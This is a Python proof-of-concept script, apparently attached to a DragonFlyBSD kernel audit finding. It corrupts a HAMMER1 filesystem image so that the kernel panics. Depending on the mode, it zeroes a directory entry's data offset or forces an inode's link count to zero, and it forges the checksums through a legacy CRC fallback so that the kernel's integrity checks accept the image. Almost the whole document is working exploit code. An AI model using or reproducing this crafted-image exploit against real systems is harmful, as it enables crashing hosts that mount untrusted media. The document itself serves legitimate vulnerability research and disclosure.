⬢ DragonFlyBSD Kernel Audit
DF-3004 / h1patch2.py
← back to finding ↓ download raw
#!/usr/bin/env python3
"""HAMMER1 offline patcher v2 — scan-based (no blockmap walk).

Finds 4KB b-tree nodes in 16KB-aligned buffers, identifies the DIRENTRY leaf
for a filename by CRC-matching its data blob (CRC32C for v7 volumes, since
newfs_hammer computes leaf data_crc with iscsi_crc32; the kernel also accepts
v6 crc32 as a fallback), then:

  3002: zero the direntry leaf's data_offset -> hammer_btree_extract returns
        cursor->data == NULL with error == 0 -> NULL-deref panic in readdir.
  3004: set the INODE record's nlinks (hammer_inode_data+72) to 0 while the
        direntry still references it -> unlink wraps to UINT64_MAX ->
        hammer_sync_inode KKASSERT panic on flush.

Node and leaf CRCs are REWRITTEN as v6 crc32 (accepted by hammer_crc_test_*
on version-7 volumes via the documented compatibility fallback).
"""
import struct, sys, zlib

MASK52 = 0xFFFFFFFFFFFFF
VOLMAGIC = 0xC8414D4DC5523031
RECT_DIRENTRY = 0x0011
RECT_INODE = 0x0001

# CRC32C (Castagnoli), reflected poly 0x82F63B78
_P = 0x82F63B78
_TAB = []
for i in range(256):
    c = i
    for _ in range(8):
        c = (c >> 1) ^ (_P if c & 1 else 0)
    _TAB.append(c)

def crc32c(b, crc=0xFFFFFFFF):
    for x in b:
        crc = (crc >> 8) ^ _TAB[(crc ^ x) & 0xFF]
    return crc ^ 0xFFFFFFFF

def crc32(b):
    return zlib.crc32(b) & 0xFFFFFFFF

def find_leaves(img):
    out = []
    for off in range(0, len(img) - 16384, 16384):
        # node header check: count at +16 (int), type at +20
        count, = struct.unpack_from("<i", img, off + 16)
        t = img[off + 20:off + 21]
        if count < 0 or count > 63:
            continue
        if t not in (b"L", b"I"):
            continue
        # sanity: parent is 0 or a plausible zone2/8 offset
        parent, = struct.unpack_from("<Q", img, off + 8)
        if parent != 0 and (parent >> 60) != 8:
            continue
        out.append((off, count, t))
    return out

def set_node_crc(img, node_off):
    struct.pack_into("<I", img, node_off, crc32(img[node_off+4:node_off+4096]))

def main():
    path, mode, name = sys.argv[1], sys.argv[2], sys.argv[3]
    img = bytearray(open(path, "rb").read())
    nb = name.encode()
    BUF_OFF, = struct.unpack_from("<q", img, 24)   # vol_buf_beg
    print("vol_buf_beg=%#x (zone short offsets are relative to it)" % BUF_OFF)

    leaves = [x for x in find_leaves(img) if x[2] == b"L"]
    print("leaf nodes found: %d (of %d nodes)" % (len(leaves), len(find_leaves(img))))

    # locate filename blob occurrences (direntry data)
    blob_offs = []
    i = img.find(nb + b"\x00")
    while i >= 0 and len(blob_offs) < 16:
        blob_offs.append(i)
        i = img.find(nb + b"\x00", i + 1)
    print("blob occurrences of %r: %s" % (name, [hex(x) for x in blob_offs]))

    dirent_elm = None
    dirent_blob = None
    obj_id = None
    for (no, cnt, t) in leaves:
        for k in range(cnt):
            eo = no + 64 + k * 64
            rt, = struct.unpack_from("<H", img, eo + 32)
            dlen, = struct.unpack_from("<i", img, eo + 56)
            if rt != RECT_DIRENTRY or dlen != 16 + len(nb):
                continue
            dcrc, = struct.unpack_from("<I", img, eo + 60)
            for bo in blob_offs:
                base = bo - 16  # direntry data starts at obj_id
                if base < 0:
                    continue
                if crc32c(img[base:base+dlen]) == dcrc:
                    dirent_elm, dirent_blob = eo, base
                    obj_id, = struct.unpack_from("<q", img, base)
                    print("DIRENTRY matched: elm@%#x blob@%#x obj_id=%d "
                          "crc32c=%08x" % (eo, base, obj_id, dcrc))
    assert dirent_elm, "direntry leaf not identified"

    ino_elm = None
    ino_blob = None
    for (no, cnt, t) in leaves:
        for k in range(cnt):
            eo = no + 64 + k * 64
            rt, = struct.unpack_from("<H", img, eo + 32)
            oid, = struct.unpack_from("<q", img, eo)
            dlen, = struct.unpack_from("<i", img, eo + 56)
            doff, = struct.unpack_from("<Q", img, eo + 48)
            if rt != RECT_INODE or oid != obj_id or dlen != 128:
                continue
            dcrc, = struct.unpack_from("<I", img, eo + 60)
            # inode blob = 128 bytes whose first 112 crc32c matches
            for cand in range(0, len(img) - 128, 16):
                if cand in blob_offs:
                    continue
                # only consider blobs whose parent_obj_id field (offset 24)
                # looks sane would be too slow; use crc match over window
                pass
            # faster: search by content signature: version(1)+mode+...
            # inode data has obj's parent_obj_id and nlinks; find via crc by
            # scanning 16-byte aligned candidates is too slow -> instead use
            # the elm's data_offset zone11 short offset directly IF direct
            phys = (doff & MASK52) + BUF_OFF
            if phys and phys + 128 <= len(img):
                if crc32c(img[phys:phys+112]) == dcrc:
                    ino_elm, ino_blob = eo, phys
                    nl, = struct.unpack_from("<Q", img, phys + 72)
                    print("INODE matched: elm@%#x blob@%#x nlinks=%d "
                          "(zone-off direct decode)" % (eo, phys, nl))
    assert ino_elm, "inode leaf not identified"

    if mode == "3002":
        struct.pack_into("<Q", img, dirent_elm + 48, 0)
        touched = {dirent_elm & ~0xFFF}
        for no in touched:
            set_node_crc(img, no)
        print("3002: data_offset zeroed at elm %#x (node %#x); node crc "
              "rewritten (v6 crc32 fallback)" % (dirent_elm, dirent_elm & ~0xFFF))
    elif mode == "3004":
        struct.pack_into("<Q", img, ino_blob + 72, 0)  # nlinks = 0
        c = crc32(img[ino_blob:ino_blob+112])
        struct.pack_into("<I", img, ino_elm + 60, c)
        for no in {ino_elm & ~0xFFF, dirent_elm & ~0xFFF}:
            set_node_crc(img, no)
        print("3004: nlinks=0 at inode blob %#x; leaf data_crc=%08x (v6); "
              "node crcs rewritten" % (ino_blob, c))
    open(path, "wb").write(img)
    print("patched OK")

if __name__ == "__main__":
    main()